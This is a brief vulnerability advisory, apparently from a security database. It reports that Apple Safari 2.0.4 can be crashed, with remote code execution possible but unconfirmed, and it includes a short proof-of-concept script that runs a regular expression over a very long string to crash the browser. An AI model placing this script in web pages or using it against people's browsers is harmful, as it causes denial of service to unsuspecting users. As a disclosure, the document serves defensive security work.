An attacker can exploit this issue to crash an affected browser. Presumably, this issue may also result in remote code execution, but this has not been confirmed.
Apple Safari 2.0.4 is vulnerable to this issue; other versions may also be affected.
<script> var reg = /(.)*/; var z = 'Z'; while (z.length <= 8192) z+=z; var boum = reg.exec(z); </script>